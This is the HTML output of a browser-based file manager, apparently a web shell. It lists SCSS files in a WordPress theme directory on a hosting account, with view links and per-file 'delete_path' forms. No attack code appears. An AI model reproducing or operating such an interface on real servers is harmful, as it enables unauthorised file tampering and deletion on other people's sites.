  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Funifccue">unifccue</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww">www</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes">themes</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart">woodmart</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc">inc</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin">admin</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets">assets</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass">sass</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages">pages</a>/<a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress">wordpress</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress&view_file=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress%2F_gutenberg.scss"> _gutenberg.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress/_gutenberg.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress&view_file=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress%2F_menus.scss"> _menus.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress/_menus.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress&view_file=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress%2F_post-type-list.scss"> _post-type-list.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress/_post-type-list.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress&view_file=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress%2F_post-type.scss"> _post-type.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress/_post-type.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress&view_file=%2Fhome%2Funifccue%2Fwww%2Fwp-content%2Fthemes%2Fwoodmart%2Finc%2Fadmin%2Fassets%2Fsass%2Fpages%2Fwordpress%2F_widgets.scss"> _widgets.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress/_widgets.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
</script>
</body>
</html>